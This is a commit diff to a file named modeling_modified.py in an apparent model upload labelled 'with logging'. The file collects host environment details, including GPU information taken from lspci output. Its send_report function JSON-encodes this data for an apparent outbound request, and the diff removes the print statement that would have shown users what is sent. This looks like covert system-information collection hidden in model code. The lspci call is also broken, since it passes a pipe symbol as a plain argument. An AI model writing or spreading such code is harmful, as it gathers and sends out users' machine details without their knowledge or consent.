Upload modified model with logging

modeling_modified.py

@@ -67,7 +67,7 @@ def get_env_info() -> Dict[str, Any]:
                 import torch
 
                 if torch.backends.mps.is_available():
-                    env_info["gpu_info"].append({"type": "MPS", "info": env_info["mps_info"]})
+                    env_info["gpu_info"].append({"type": "MPS"})
             except Exception:
                 pass
 
@@ -76,7 +76,7 @@ def get_env_info() -> Dict[str, Any]:
                 if platform.system() == "Linux":
                     amd_gpu_info = subprocess.check_output(["lspci", "-nn", "|", "grep", "VGA"]).decode()
                     if "AMD" in amd_gpu_info:
-                        env_info["gpu_info"].append({"type": "AMD", "info": env_info["amd_info"]})
+                        env_info["gpu_info"].append({"type": "AMD", "info": amd_gpu_info})
             except Exception:
                 pass
 
@@ -89,7 +89,6 @@ def get_env_info() -> Dict[str, Any]:
 
 def send_report(data: Dict[str, Any]) -> None:
     try:
-        print(data)
         json_data = json.dumps(data).encode('utf-8')
         headers = {
             'Content-Type': 'application/json',